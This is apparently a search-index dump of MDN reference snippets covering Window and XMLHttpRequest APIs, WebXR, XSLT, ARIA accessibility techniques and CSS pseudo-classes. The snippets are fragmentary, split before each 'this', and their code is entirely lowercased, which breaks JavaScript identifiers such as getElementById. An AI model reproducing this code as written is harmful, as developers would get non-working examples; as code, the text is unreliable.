examples <!-- put the 100th vertical pixel at the top of the window --> <button onclick="scroll(0, 100);">click to scroll down 100 pixels</button> using options: window.scroll({ top: 100, left: 100, behavior: 'smooth' }); notes window.scrollto() is effectively the same as
this method.
... browser compatibility the compatibility table in
this page is generated from structured data.
Window.scrollMaxX - Web APIs
example // scroll to right edge of the page let maxx = window.scrollmaxx; window.scrollto(maxx, 0); notes do not use
this property to get the total document width, which is not equivalent to window.innerwidth + window.scrollmaxx, because window.innerwidth includes the width of any visible vertical scrollbar, thus the result would exceed the total document width by the width of any visible vertical scrollbar.
... specification
this is not part of any specification.
Window.scrollMaxY - Web APIs
example // scroll to the bottom of the page let maxy = window.scrollmaxy; window.scrollto(0, maxy); notes do not use
this property to get the total document height, which is not equivalent to window.innerheight + window.scrollmaxy, because window.innerheight includes the width of any visible horizontal scrollbar, thus the result would exceed the total document height by the width of any visible horizontal scrollbar.
... specification
this is not part of any specification.
Window.scrollX - Web APIs
this value is subpixel precise in modern browsers, meaning that it isn't necessarily a whole number.
... example
this example checks the current horizontal scroll position of the document.
Window.scrollY - Web APIs
this value is subpixel precise in modern browsers, meaning that it isn't necessarily a whole number.
...} window.scrollbypages(1); notes use
this property to check that the document hasn't already been scrolled when using relative scroll functions such as scrollby(), scrollbylines(), or scrollbypages().
Window.sessionStorage - Web APIs
exceptions securityerror the request violates a policy decision, or the origin is not a valid scheme/host/port tuple (
this can happen if the origin uses the file: or data: scheme, for example).
... // get the text field that we're going to track let field = document.getelementbyid("field"); // see if we have an autosave value // (
this will only happen if the page is accidentally refreshed) if (sessionstorage.getitem("autosave")) { // restore the contents of the text field field.value = sessionstorage.getitem("autosave"); } // listen for changes in the text field field.addeventlistener("change", function() { // and save the results into the session storage object sessionstorage.setitem("autosave", field.value); }); n...
Window.sidebar - Web APIs
end users can use the "load
this bookmark in the sidebar" option instead.
... note:
this was made obsolete in firefox 44, and has been removed completely in firefox 59.
Window.sizeToContent() - Web APIs
in order for it to work, the dom content should be loaded when
this function is called—for example, once the domcontentloaded event has been thrown.
... syntax window.sizetocontent() example window.sizetocontent(); specification
this feature is not part of any specification.
Window.stop() - Web APIs
because of how scripts are executed,
this method cannot interrupt its parent document's loading, but it will stop its images, new windows, and other still-loading objects.
... recommendation browser compatibility the compatibility table in
this page is generated from structured data.
WindowClient - Web APIs
this value can be one of "hidden", "visible", or "prerender".
... example self.addeventlistener('notificationclick', function(event) { console.log('on notification click: ', event.notification.tag); event.notification.close(); //
this looks to see if the current is already open and // focuses if it is event.waituntil(clients.matchall({ type: "window" }).then(function(clientlist) { for (var i = 0; i < clientlist.length; i++) { var client = clientlist[i]; if (client.url == '/' && 'focus' in client) { client.focus(); break; } } if (clients.openwindow) return clients.openwindow('/'); })); }); specifications specification status comment service workersthe definition of 'windowclient' in that specification.
WindowOrWorkerGlobalScope.caches - Web APIs
this object enables functionality such as storing assets for offline use, and generating custom responses to requests.
...
this.addeventlistener('install', function(event) { event.waituntil( caches.open('v1').then(function(cache) { return cache.addall([ '/sw-test/', '/sw-test/index.html', '/sw-test/style.css', '/sw-test/app.js', '/sw-test/image-list.js', '/sw-test/star-wars-logo.jpg', '/sw-test/gallery/', '/sw-test/gallery/bountyhunters.jpg', '/sw-test/gallery/mylittlevader.jpg', '/sw-test/gallery/snowtroopers.jpg' ]); }) ); }); specifications specification status comment service wo...
WindowOrWorkerGlobalScope.clearTimeout() - Web APIs
this id was returned by the corresponding call to settimeout().
... var alarm = { remind: function(amessage) { alert(amessage);
this.timeoutid = undefined; }, setup: function() { if (typeof
this.timeoutid === 'number') {
this.cancel(); }
this.timeoutid = window.settimeout(function(msg) {
this.remind(msg); }.bind(
this), 1000, 'wake up!'); }, cancel: function() { window.cleartimeout(
this.timeoutid); } }; window.onclick = function() { alarm.setup(); }; notes passing an invalid id to...
WindowOrWorkerGlobalScope.queueMicrotask() - Web APIs
this lets your code run without interfering with any other, potentially higher priority, code that is pending, but before the browser regains control over the execution context, potentially depending on work you need to complete.
... examples self.queuemicrotask(() => { // function contents here }) taken from the queuemicrotask spec: myelement.prototype.loaddata = function (url) { if (
this._cache[url]) { queuemicrotask(() => {
this._setdata(
this._cache[url]);
this.dispatchevent(new event("load")); }); } else { fetch(url).then(res => res.arraybuffer()).then(data => {
this._cache[url] = data;
this._setdata(data);
this.dispatchevent(new event("load")); }); } }; when queuemicrotask() isn't available the code below is basically a monke...
WorkerGlobalScope.location - Web APIs
he console — something like the following: workerlocation {hash: "", search: "", pathname: "/worker.js", port: "8000", hostname: "localhost"…} hash: "" host: "localhost:8000" hostname: "localhost" href: "http://localhost:8000/worker.js" origin: "http://localhost:8000" pathname: "/worker.js" port: "8000" protocol: "http:" search: "" __proto__: workerlocation you could use
this location object to return more information about the document's location, as you might do with a normal location object.
... note: firefox has a bug with using console.log inside shared/service workers (see bug 1058644), which may return strange results, but
this should be fixed soon.
WorkerGlobalScope.onclose - Web APIs
this non-standard event handler was only implemented by a few browsers and has been removed from all or nearly all of them.
...}; example the following code snippet shows an onclose handler set inside a worker: self.onclose = function() { console.log('your worker instance has been closed'); } specifications
this feature is no longer defined in any specifications.
WritableStreamDefaultWriter.close() - Web APIs
during
this time any further attempts to write will fail (without erroring the stream).
...inside
this function it calls the stream's getwriter() method, which returns an instance of writablestreamdefaultwriter.
WritableStreamDefaultWriter.ready - Web APIs
the second also checks whether the the writablestream is done writing, but
this time because the writing must be finished before the writer can be closed.
... browser compatibility the compatibility table on
this page is generated from structured data.
XDomainRequest.onprogress - Web APIs
this method is called periodically as an event handler for progress events on xdomainrequests, so that code can monitor progress while loading content.
... note: while handling
this event, you can look at xdomainrequest.responsetext to get the response so far.
XDomainRequest.responseText - Web APIs
note:
this property is valid during the xdomainrequest.onprogress and xdomainrequest.onload events.
... syntax var response = xdr.responsetext;
this sets response to contain the response body of the request, as a string.
XMLDocument.load() - Web APIs
as of at least gecko 1.9,
this no longer supports cross-site loading of documents (use xmlhttprequest or fetch() instead).
...(to test
this functionality, create the files on your local disk or on a webserver rather than loading the load.html file from the lxr-generated page, which will serve the text.xml file as html.) specifications old w3c working draft of the dom level 3 load & save module ...
XMLHttpRequest.channel - Web APIs
this is null if the channel hasn't been created yet.
... in the case of a multi-part request,
this is the initial channel, not the different parts in the multi-part request.
XMLHttpRequest.getResponseHeader() - Web APIs
example in
this example, a request is created and sent, and a readystatechange handler is established to look for the readystate to indicate that the headers have been received; when that is the case, the value of the content-type header is fetched.
... var client = new xmlhttprequest(); client.open("get", "unicorns-are-teh-awesome.txt", true); client.send(); client.onreadystatechange = function() { if(
this.readystate ==
this.headers_received) { var contenttype = client.getresponseheader("content-type"); if (contenttype != my_expected_type) { client.abort(); } } } specifications specification status comment xmlhttprequestthe definition of 'getresponseheader()' in that specification.
XMLHttpRequest.openRequest() - Web APIs
non-standard
this feature is non-standard and is not on a standards track.
...
this mozilla-specific method is available only from within privileged code, and is only called from a c++ context in order to initialize an xmlhttprequest.
XMLHttpRequest.readyState - Web APIs
during
this state, the request headers can be set using the setrequestheader() method and the send() method can be called which will initiate the fetch.
...
this could mean that either the data transfer has been completed successfully or failed.
XMLHttpRequest.response - Web APIs
ms-stream the response is part of a streaming download;
this response type is only allowed for download requests, and is only supported by internet explorer.
... example
this example presents a function, load(), which loads and processes a page from the server.
XMLHttpRequest.responseType - Web APIs
ms-stream the response is part of a streaming download;
this response type is only allowed for download requests, and is only supported by internet explorer.
...
this restriction is designed in part to help ensure that synchronous operations aren't used for large transactions that block the browser's main thread, thereby bogging down the user experience.
XMLHttpRequest.responseXML - Web APIs
note: the name responsexml is an artifact of
this property's history; it works for both html and xml.
...
this property isn't available to workers.
XMLHttpRequest.upload - Web APIs
this event does not differentiate between success or failure, and is sent at the end of the upload regardless of the outcome.
... prior to
this event, one of load, error, abort, or timeout will already have been delivered to indicate why the upload ended.
XMLHttpRequestResponseType - Web APIs
ms-stream the response is part of a streaming download;
this response type is only allowed for download requests, and is only supported by internet explorer.
...you shouldn't use
this non-standard (and, as of firefox 68, entirely removed) api; instead, consider using the fetch api with readable streams, which offers a standard alternative to accessing the response in a streaming fashion.
XMLSerializer - Web APIs
var s = new xmlserializer(); var d = document; var str = s.serializetostring(d); savexml(str);
this involves creating a new xmlserializer object, then passing the document to be serialized into serializetostring(), which returns the xml equivalent of the document.
... inserting nodes into a dom based on xml
this example uses the element.insertadjacenthtml() method to insert a new dom node into the body of the document, based on xml created by serializing an element object.
XPathEvaluator.createNSResolver() - Web APIs
this method adapts any dom node to resolve namespaces so that an xpath expression can be easily evaluated relative to the context of the node where it appeared within the document.
...
this adapter works like the dom level 3 method node.lookupnamespaceuri() in resolving the namespace uri from a given prefix using the current information available in the node's hierarchy at the time the method is called, also correctly resolving the implicit xml prefix.
XPathResult.invalidIteratorState - Web APIs
it is true if xpathresult.resulttype is unordered_node_iterator_type or ordered_node_iterator_type and the document has been modified since
this result was returned.
... note:
this feature is available in web workers.
XRBoundedReferenceSpace - Web APIs
this extends xrreferencespace, which describes an essentially unrestricted space around the viewer's position.
...
this is typically used when the xr system is capable of tracking the user's physical movement within a limited distance of their starting position.
XRFrame - Web APIs
in addition to providing a reference to the xrsession for which
this frame is to be rendered, the getviewerpose() method is provided to obtain the xrviewerpose describing the viewer's position and orientation in space, and getpose() can be used to create an xrpose describing the relative position of one xrspace relative to another.
... properties session read only the xrsession that for which
this xrframe describes the tracking details for all objects.
XRInputSource.gripSpace - Web APIs
for example, if a user were holding a virtual straight rod, the native origin of
this xrspace would be located at the approximate center of mass of the user's fist.
... for (let source in xrsession.inputsources) { if (source.gripspace) { let grippose = frame.getpose(source.gripspace, xrrefspace); if (grippose) { mydrawmeshusingtransform(controllermesh, grippose.transform.matrix); } } } for each input source which has a value for gripspace,
this loop obtains the xrpose representing the position and orientation that are described by gripspace.
XRInputSource.handedness - Web APIs
this may indicate, for example, an input source which isn't hand-held, such as controls built into a headset or an input device attached to the head or body.
... function updateinputsources(session, frame, refspace) { for (let source of session.inputsources) { if (source.gripspace) { let grippose = frame.getpose(source.gripspace, refspace); if (grippose) { myrenderhandobject(grippose, inputsource.handedness); } } } }
this function, which would be called every animation frame (or possibly just periodically, depending on the degree of smoothness required and any performance constraints), scans the list of input sources looking for any which have a gripspace which isn't null.
XRInputSourceArray.entries() - Web APIs
most frequently, you will use
this in tandem with statements such as for...of.
... examples
this example snippet gets the list of inputs for a session and tries to handle each type of input device it supports using.
XRInputSourceEvent.frame - Web APIs
this may thus be an event which occurred in the past rather than a current or impending event.
... examples
this code shows a handler for the selectstart event which gets the target ray's pose from the frame, mapping the pose representing the ray (event.inputsource.targetrayspace) to the overall reference space myrefspace.
XRInputSourceEvent.inputSource - Web APIs
this information lets you handle the event appropriately given the particulars of the user input device being manipulated.
...
this event indicates an action the user has taken using a webxr input controller, such as a hand controller, motion sensing device, or other input apparatus.
XRInputSourceEvent - Web APIs
this frame may have been rendered in the past rather than being a current frame.
... because
this is an event frame, not an animation frame, you cannot call the xrframe method getviewerpose() on it; instead, use getpose().
XRInputSourcesChangeEvent() - Web APIs
you won't typically call
this constructor yourself, as these events are created and sent to you by the webxr system.
...
this string must always be inputsourceschange.
XRInputSourcesChangeEvent - Web APIs
the specified type must be inputsourceschange, which is the only event that uses
this interface.
... session read only the xrsession to which
this input source change event is being directed.
XRPermissionDescriptor.optionalFeatures - Web APIs
the user isn't expected to move much if at all beyond their starting position, and tracking is optimized for
this use case.
...
this is used for environments in which the user can physically move around, and is supported by all instances of xrsession, both immersive and inline, though it's most useful for inline sessions.
XRPermissionDescriptor - Web APIs
and for any other returned state—which is almost certainly denied, which is the only other option as of
this article's writing—we do nothing, since we can't use webxr.
... if the permissions api isn't available at all,
this example simply assumes that webxr will report an appropriate error if permission isn't available, and tries to start up the webxr session using the same setupxr() function called by the granted case.
XRPermissionStatus.granted - Web APIs
the user isn't expected to move much if at all beyond their starting position, and tracking is optimized for
this use case.
...
this is used for environments in which the user can physically move around, and is supported by all instances of xrsession, both immersive and inline, though it's most useful for inline sessions.
XRPose - Web APIs
this is obtained using xrframe.getviewerpose() instead of getpose(), specifying a reference space which has been adjusted to position and orient the node to provide the desired viewing position and angle: viewerpose = xrframe.getviewerpose(adjreferencespace); here, adjreferencespace is a reference space which has been updated using the base frame of reference for the frame and any adjustments neede...
...if any component of the transform is computed or created artificially (such as by using mouse or keyboard controls to move through space),
this value is instead true, indicating that the transform is in part emulated in software.
XRReferenceSpaceEvent - Web APIs
currently, the only event that uses
this type is the reset event.
...
this is an opportunity for your app to update any stored transforms, position/orientation information, or the like—or to dump any cached values based on the reference's space's origin so you can recompute them as needed.
XRRenderState.baseLayer - Web APIs
this property is read-only; however, you can indirectly change its value using xrsession.updaterenderstate.
... examples you can set the xrwebgllayer used for rendering by calling updaterenderstate(), like
this: let canvas = document.queryselector("canvas"); gl = canvas.getcontext("webgl", { xrcompatible: true }); setnewwebgllayer(); function setnewwebgllayer(gl) { if (!gl) { /* webgl not available */ return; } xrsession.updaterenderstate({ baselayer: new xrwebgllayer(xrsession, gl); }); }; here, the canvas obtained in the first line is the canvas into which webgl is going to draw.
XRRenderState - Web APIs
this, essentially, specifies the maximum distance the user can see.
...any closer to the viewer than
this, and no portions of the scene are drawn.
XRRigidTransform() - Web APIs
if
this parameter is left out or is not compatible with dompointinit, the position used is assumed to be {x: 0, y: 0, z: 0, w: 1}.
... examples in
this example, the beginning of the animation of a scene is shown, starting with a request for a reference space of a given type, then shifting the coordinate system based on a transform before requesting the first animation frame.
XRRigidTransform.inverse - Web APIs
examples in
this example, the model view matrix for an object is computed by taking the view matrix and multiplying it by the object's pose matrix.
...*/ }
this outline of a renderer's core code shows how the pose's view gets represented by taking its transform's inverse's matrix as the model view matrix used to transform objects based on the viewer's position and orientation.
XRRigidTransform - Web APIs
xrrigidtransform.inverse read only returns a xrrigidtransform which is the inverse of
this transform.
... example
this code snippet creates an xrrigidtransform to specify the offset and orientation in relation to the current reference space to use when creating a new reference space.
XRSession.onselect - Web APIs
this typically represents the pressing of a button or trigger, a hand gesture, or a spoken command.
... example
this example handles select event which occur on the user's main hand (as given by a user object's handedness property); if that value matches the value of the xrinputsource property handedness, we know that the device is held in the user's main hand.
XRSession.onsqueezestart - Web APIs
examples
this snippet of code adds a simple handler for the squeezestart event, which responds only to events on the user's dominant hand by getting the target ray, then calling a function findobjectusingray() to identify the object that the user is pointing at.
...
this object is then stored in a heldobject variable in the user object we're using to represent user information.
XRSession.requestReferenceSpace() - Web APIs
the user isn't expected to move much if at all beyond their starting position, and tracking is optimized for
this use case.
...
this is used for environments in which the user can physically move around, and is supported by all instances of xrsession, both immersive and inline, though it's most useful for inline sessions.
XRSessionEvent.session - Web APIs
examples in
this example, the session property is used to obtain the session object to manage when an event is received.
... xrsession.addeventlistener("visibilitychange", e => { switch(e.session.visibilitystate) { case "hidden": myenablerendering(true); break; case "visible": case "visible-blurred": myenablerendering(false); break; } });
this calls a function that reacts to the session's visibility state change.
XRSessionEvent - Web APIs
examples
this example creates a listiener that watches for the visibility state of the session to change.
... it reacts by calling a function mysessionvisible() with a boolean indicating whether or not the session is visible;
this function might, for instance, spin up or reconfigure a worker that handles rendering the scene.
XRSpace - Web APIs
at
this time, those are xrreferencespace and xrboundedreferencespace.
...there are exceptions to
this static nature; most commonly, an xrreferencespace may move in order to adjust based on reconfiguration of the user's headset or other motion-sensitive device.
XRSystem: isSessionSupported() - Web APIs
this string must be one of inline (to present the webxr content inline within the context of an html document) or immersive-vr for a fully-immersive virtual experience.
... examples in
this example, we see issessionsupported() used to detect whether or not the device supports vr mode by checking to see if an immersive-vr session is supported.
XRSystem - Web APIs
onsessionstarted(xrsession); }); } else { // shut down the already running xrsession xrsession.end() .then(() => xrsession = null); } }
this code starts by checking to see if webxr is available by looking for the navigator.xr property.
...to determine
this, we call issessionsupported(), passing it the desired session option before enabling the button, immersivebutton, which the user can then use to switch to immersive mode only if immersive vr mode is available.
XRWebGLLayer.framebuffer - Web APIs
otherwise,
this property's value is null.
... examples
this example gets the xrwebgllayer for a session and then passes its framebuffer into the webgl context's bindframebuffer() function.
XRWebGLLayer.framebufferHeight - Web APIs
each of the framebuffer's attachments (pixel, depth, color, and/or stencil buffers, for example) are all
this many pixels tall.
... examples
this snippet simply fetches the framebuffer's width and height for later use.
XRWebGLLayer.framebufferWidth - Web APIs
each of the framebuffer's attachments (pixel, depth, color, and/or stencil buffers, for example) are all
this many pixels wide.
... examples
this snippet simply fetches the framebuffer's width and height for later use.
XRWebGLLayer.getViewport() - Web APIs
example
this example demonstrates in part what the callback for the requestanimationframe() function might look like, using getviewport() to get the viewport so that drawing can be constrained to the area set aside for the eye whose viewpoint is currently being rendered.
...
this works because the set of views returned by an xrviewerpose each represent one eye's perspective on the scene.
XRWebGLLayerInit.ignoreDepthValues - Web APIs
this property differs from depth in that depth requests a webgl layer that does not have a depth buffer at all, while ignoredepthvalues merely asks that the depth layer be ignored.
... example in
this example, a new xrwebgllayer is created for a webxr session, xrsession.
XRWebGLLayerInit - Web APIs
the constructor's optional layerinit parameter takes an object which must conform to
this dictionary.
... examples given an xrsession, xrsession, and a webgl rendering context, gl,
this snippet sets the rendering layer for the session, specifying the ignoredepthvalues option, indicating that the depth buffer should not be used (or should not exist at all), and that the only source for distance information of any given point is its position relative to the viewer.
XSLT Basic Example - Web APIs
basic example
this first example demonstrates the basics of setting up an xslt transformation in a browser.
...bar</author> </authors> <body>
this is my article text.</body> </article> xsl stylesheet (example.xsl) : <?xml version="1.0"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/xsl/transform"> <xsl:output method="text"/> <xsl:template match="/"> article - <xsl:value-of select="/article/title"/> authors: <xsl:apply-templates select="/article/authors/author"/> </xsl:template> <xsl:template match="a...
Introduction - Web APIs
this would allow the same style to be reused for multiple content, as well as simplify maintenance and allow a quick (only modify one file) way to change the look of content.
...
this allows xslt to add, remove and reorganize elements from the original xml document and thus allows more fine-grain control of the resulting document's structure.
XSLTProcessor - Web APIs
this will make the xsltprocessor use the default value for the parameter as specified in the stylesheet.
...
this is a proprietary interface that originated in gecko.
msCaching - Web APIs
non-standard
this feature is non-standard and is not on a standards track.
...
this proprietary method is specific to internet explorer and microsoft edge.
msCachingEnabled - Web APIs
non-standard
this feature is non-standard and is not on a standards track.
...
this proprietary method is specific to internet explorer and microsoft edge.
msGetPropertyEnabled - Web APIs
non-standard
this feature is non-standard and is not on a standards track.
...
this proprietary method is specific to internet explorer browser.
msthumbnailclick - Web APIs
non-standard
this feature is non-standard and is not on a standards track.
...
this proprietary method is specific to internet explorer and microsoft edge.
Using the aria-label attribute - Accessibility
this attribute can be used with any typical html element; it is not limited to elements that have an aria role assigned.
... value string possible effects on user agents and assistive technology note: opinions may differ on how assistive technology should handle
this technique.
Using the aria-valuemax attribute - Accessibility
value string representation of a number possible effects on user agents and assistive technology if the aria-valuemax is indeterminate, or if aria-valuemin is not less than or equal to the value of aria-valuemax,
this creates an error condition that will be handled by the assistive technology.
... note: opinions may differ on how assistive technology should handle
this technique.
Using the aria-valuemin attribute - Accessibility
value string representation of a number possible effects on user agents and assistive technology if aria-valuemin is not less than or equal to the value of aria-valuemax,
this creates an error condition that will be handled by the assistive technology.
... note: opinions may differ on how assistive technology should handle
this technique.
Using the aria-valuenow attribute - Accessibility
in
this case, the values of aria-valuenow could range from 1 through 3, which indicate the position of each value in the value space, but the aria-valuetext would be one of the strings: small, medium, or large.
... note: opinions may differ on how assistive technology should handle
this technique.
Using the aria-valuetext attribute - Accessibility
in
this case, the values of aria-valuenow could range from 1 through 3, which indicate the position of each value in the value space, but thearia-valuetext would be one of the strings: small, medium, or large.
... note: opinions may differ on how assistive technology should handle
this technique.
Using the presentation role - Accessibility
this technique demonstrates how to use the presentation role and describes the effect it has on browsers and assistive technology.
... possible effects on user agents and assistive technology note: opinions may differ on how assistive technology should handle
this technique.
Using the radio role - Accessibility
description
this technique demonstrates how to use the radio role and describes the effect it has on browsers and assistive technology.
... possible effects on user agents and assistive technology note: opinons may differ on how assistive technology should handle
this technique.
Using the slider role - Accessibility
this technique demonstrates how to use the slider role and describes the effect it has on browsers and assistive technology.
...by 10 on a range from 0 to 100) possible effects on user agents and assistive technology note: opinions may differ on how assistive technology should handle
this technique.
Using the toolbar role - Accessibility
description
this technique demonstrates how to use the toolbar role and describes the effect it has on browsers and assistive technology.
... possible effects on user agents and assistive technology note: opinons may differ on how assistive technology should handle
this technique.
x-ms-aria-flowfrom - Accessibility
non-standard
this feature is non-standard and is not on a standards track.
...
this proprietary property is specific to internet explorer and microsoft edge.
ARIA: figure role - Accessibility
this is wrapped by a <div> element that identifies the content as a figure using role="figure".
... again,
this can be done semantically, without aria, with html's <figure> and <figcaption> elements <figure> ...
ARIA: Suggestion role - Accessibility
this should be used on an element that wraps an element with an insertion role, and one with a deletion role.
...
this is the job of role="suggestion", which should be set on an element wrapping both of them like so: <p>freida’s pet is a <span role="suggestion"> <span role="deletion">black cat called luna</span> <span role="insertion">purple tyrannosaurus rex called tiny</span> </span>.
Basic form hints - Accessibility
assistive technologies (ats) cannot necessarily infer
this information from the presentation.
... type="text" value="name" id="name" aria-required="true"/> </div> <div> <label for="phone">phone:</label> <input type="text" value="phone" id="phone" aria-required="false"/> </div> <div> <label for="email">* e-mail:</label> <input type="text" value="email" id="email" aria-required="true"/> </div> </form> the script that validates the form entry would look something like
this: var validate = function () { var emailelement = document.getelementbyid(emailfieldid); var valid = emailvalid(formdata.email); // returns true if valid, false otherwise emailelement.setattribute("aria-invalid", !valid); setelementbordercolour(emailelement, valid); // sets the border to red if second arg is false }; providing helpful error messages read how to use aria alerts to enha...
Color contrast - Accessibility
this is because they don't see bright and dark areas as readily as those without such conditions, and therefore have trouble seeing edges, borders, and other details.
... 1.4.6 enhanced contrast (aaa)
this follows, and builds on, criterion 1.4.3.
Custom properties (--*): CSS variables - CSS: Cascading Style Sheets
initial valuesee proseapplies toall elementsinheritedyescomputed valueas specified with variables substitutedanimation typediscrete syntax --somekeyword: left; --somecolor: #0000ff; --somecomplexvalue: 3px 6px rgb(20, 32, 54); <declaration-value>
this value matches any sequence of one or more tokens, so long as the sequence does not contain an unallowed token.
... formal syntax <declaration-value> example html <p id="firstparagraph">
this paragraph should have a blue background and yellow text.</p> <p id="secondparagraph">
this paragraph should have a yellow background and blue text.</p> <div id="container"> <p id="thirdparagraph">
this paragraph should have a green background and yellow text.</p> </div> css :root { --first-color: #488cff; --second-color: #ffff8c; } #firstparagraph { background-color: var(--first-color); color: var(--second-color); } #secondparagraph { background-color: var(--second-color); color: var(--first-color...
-moz-outline-radius-bottomleft - CSS: Cascading Style Sheets
formal definition initial value0applies toall elementsinheritednopercentagesrefer to the corresponding dimension of the border boxcomputed valueas specifiedanimation typea length, percentage or calc(); formal syntax <outline-radius>where <outline-radius> = <length> | <percentage> examples rounding a outline since
this is a firefox-only property,
this example will not display the desired effect if you are viewing
this in a browser other than firefox.
... html <p>look at
this paragraph's bottom-left corner.</p> css p { margin: 10px; border: solid cyan; outline: dotted green; -moz-outline-radius-bottomleft: 2em; } result specifications not part of any standard.
-moz-outline-radius-topleft - CSS: Cascading Style Sheets
formal definition initial value0applies toall elementsinheritednopercentagesrefer to the corresponding dimension of the border boxcomputed valueas specifiedanimation typea length, percentage or calc(); formal syntax <outline-radius>where <outline-radius> = <length> | <percentage> examples the example below will not display the desired effect if you are viewing
this in a browser other than firefox.
... html <p>look at
this paragraph's top-left corner.</p> css p { margin: 5px; border: solid cyan; outline: dotted red; -moz-outline-radius-topleft: 2em; } result specifications not part of any standard.
-moz-user-focus - CSS: Cascading Style Sheets
initial valuenoneapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete note:
this property doesn't work for xul <xul:textbox> elements, because the textbox itself never takes focus.
... formal definition initial valuenoneapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax ignore | normal | select-after | select-before | select-menu | select-same | select-all | none examples html <input class="ignored" value="the user cannot focus on
this element."> css .ignored { -moz-user-focus: ignore; } specifications not part of any standard.
-webkit-text-fill-color - CSS: Cascading Style Sheets
if
this property is not set, the value of the color property is used.
...)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> examples changing the fill color css p { margin: 0; font-size: 3em; -webkit-text-fill-color: green; } html <p>
this text is green.</p> results specifications specification status comment compatibility standardthe definition of '-webkit-text-fill-color' in that specification.
:-moz-first-node - CSS: Cascading Style Sheets
syntax :-moz-first-node examples css span:-moz-first-node { background-color: lime; } html <p> <span>
this matches!</span> <span>
this doesn't match.</span> </p> <p> blahblah.
... <span>
this doesn't match because it's preceded by text.</span> </p> result specifications not part of any standard.
:-moz-focusring - CSS: Cascading Style Sheets
whether the user agent has focus ring drawing enabled can depend on operating system settings and other factors, so the precise behavior of
this pseudo-class will vary from platform to platform.
...
this feature is not defined in any specification yet, though it was discussed in the working group and it was decided to add it to selectors 4 or 5.
:-moz-only-whitespace - CSS: Cascading Style Sheets
note: in selectors level 4 the :empty selector was changed to act like :-moz-only-whitespace, but no browser currently supports
this yet.
...(
this includes elements with empty text nodes and elements with no child nodes.) syntax syntax not found in db!
:-moz-ui-invalid - CSS: Cascading Style Sheets
this pseudo-class is applied according to the following rules: if the control does not have focus, and the value is invalid, apply
this pseudo-class.
... by default, gecko applies a style that creates a red "glow" (using the box-shadow property) around items, which have
this pseudo-class applied.
:-moz-ui-valid - CSS: Cascading Style Sheets
this pseudo-class is applied according to the following rules: if the control does not have focus, and the value is valid, apply
this pseudo-class.
... if the control has focus, and the value was valid (including empty) when it gained focus, apply
this pseudo-class.
::-moz-range-progress - CSS: Cascading Style Sheets
this portion corresponds to values lower than the value currently selected by the thumb (i.e., virtual knob).
... syntax ::-moz-range-progress examples html <input type="range" min="0" max="100" step="5" value="50"/> css input[type=range]::-moz-range-progress { background-color: green; height: 1em; } result a progress bar using
this style might look something like
this: specifications not part of any standard.
::-webkit-progress-inner-element - CSS: Cascading Style Sheets
adding a black border around the progress bar in
this example, a 2px black border is added around the progress bar.
... html <progress value="10" max="50"> css progress { -webkit-appearance: none; } ::-webkit-progress-inner-element { border: 2px solid black; } result result screenshot if you're not using a blink or webkit browsear, the above code resuls in a progress bar looking like
this: specifications not part of any standard.
::-webkit-progress-value - CSS: Cascading Style Sheets
syntax ::-webkit-progress-value examples
this example will only work in browsers based on blink or webkit.
... html <progress value="10" max="50"> css progress { -webkit-appearance: none; } ::-webkit-progress-value { background-color: orange; } result result screenshot a progress bar using the style above would look like
this: specifications not part of any standard.
::cue-region - CSS: Cascading Style Sheets
this can be used to style captions and other cues in media with vtt tracks.
... syntax ::cue-region | ::cue-region( <selector> ) permitted properties rules whose selectors include
this element may only use the following css properties: background background-attachment background-clip background-color background-image background-origin background-position background-repeat background-size color font font-family font-size font-stretch font-style font-variant font-weight line-height opacity outline outline-color outline-style outline-width ruby-position ...
::cue - CSS: Cascading Style Sheets
this can be used to style captions and other cues in media with vtt tracks.
... syntax ::cue | ::cue( <selector> ) permitted properties rules whose selectors include
this element may only use the following css properties: background background-attachment background-clip background-color background-image background-origin background-position background-repeat background-size color font font-family font-size font-stretch font-style font-variant font-weight line-height opacity outline outline-color outline-style outline-width ruby-position ...
::first-line (:first-line) - CSS: Cascading Style Sheets
syntax /* css3 syntax */ ::first-line /* css2 syntax */ :first-line examples html <p>styles will only be applied to the first line of
this paragraph.
...see what i mean?</p> <span>the first line of
this text will not receive special styling because it is not a block-level element.</span> css ::first-line { color: blue; text-transform: uppercase; /* warning: do not use these */ /* many properties are invalid in ::first-line pseudo-elements */ margin-left: 20px; text-indent: 20px; } result specifications specification status comment css pseudo-elements level 4the definition of '::first-line' in that specification.
::placeholder - CSS: Cascading Style Sheets
with
this implementation, the hint content is available even if information is entered into the input field, and the input appears free of preexisting input when the page is loaded.
...
this will make it difficult for some people to determine which content has been entered, and which content is placeholder text.
::selection - CSS: Cascading Style Sheets
syntax /* legacy firefox syntax (version 61 and below) */ ::-moz-selection ::selection examples html
this text has special styles when you highlight it.
... <p>also try selecting text in
this paragraph.</p> css ::-moz-selection { color: gold; background-color: red; } p::-moz-selection { color: white; background-color: blue; } /* make selected text gold on a red background */ ::selection { color: gold; background-color: red; } /* make selected text in a paragraph white on a blue background */ p::selection { color: white; background-color: blue; } result accessibility concerns don't override selected text styles for purely aesthetic reasons — users can customize them to suit their needs.
:default - CSS: Cascading Style Sheets
what
this selector matches is defined in html standard §4.16.3 pseudo-classes — it may match the <button>, <input type="checkbox">, <input type="radio">, and <option> elements: a default option element is the first one with the selected attribute, or the first enabled option in dom order.
...
this also applies to <input> types that submit forms, like image or submit.
:first-child - CSS: Cascading Style Sheets
beginning with selectors level 4,
this is no longer required.
... syntax :first-child examples basic example html <div> <p>
this text is selected!</p> <p>
this text isn't selected.</p> </div> <div> <h2>
this text isn't selected: it's not a `p`.</h2> <p>
this text isn't selected.</p> </div> css p:first-child { color: lime; background-color: black; padding: 5px; } result styling a list html <ul> <li>item 1</li> <li>item 2</li> <li>item 3 <ul> <li>item 3.1</li> <li>item 3.2</li> <li>item 3.3</li> </ul> </li> </ul> css ul li { color: blue; } ul li:first-child { color: red; font-weight: bold; } result specifications specification status comment selectors level 4the definition of ':first-child' in that specification.
:focus - CSS: Cascading Style Sheets
/* selects any <input> when focused */ input:focus { color: red; } note:
this pseudo-class applies only to the focused element itself.
...
this will also benefit anyone use a screen in a brightly lit space (like outside in the sun).
:in-range - CSS: Cascading Style Sheets
/* selects any <input>, but only when it has a range specified, and its value is inside that range */ input:in-range { background-color: rgba(0, 255, 0, 0.25); }
this pseudo-class is useful for giving the user a visual indication that a field's current value is within the permitted limits.
... note:
this pseudo-class only applies to elements that have (and can take) a range limitation.
